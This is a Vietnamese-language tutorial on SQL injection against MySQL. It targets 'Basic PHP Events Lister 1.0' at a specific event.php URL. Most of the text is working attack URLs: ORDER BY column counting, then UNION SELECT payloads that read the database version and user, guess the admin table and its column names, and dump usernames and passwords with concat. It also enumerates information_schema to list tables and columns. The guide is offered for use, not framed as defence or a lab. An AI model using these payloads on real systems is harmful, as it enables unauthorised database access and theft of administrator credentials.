Hướng dẫn sql injection phpmyadmin
I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1 Code: Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37 Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì? Lần lượt mình thử: http://seamoun.com/phpevents/event.php?id=1 order by 1
http://seamoun.com/phpevents/event.php?id=1 order by 2
http://seamoun.com/phpevents/event.php?id=1 order by 3
...
http://seamoun.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK)
http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi) Như vậy truy vấn SQL với URL trên là 15 trường (field) http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1 Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như Code: http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK) Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được. Code: http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu
http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK) Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với Code: http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword. Đến đây ta đã có thông tin uname và pword. Code: Điều tra thông tin bảng:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables
Điều tra thông tin trường:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như: II. Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 (milw0rm.com) |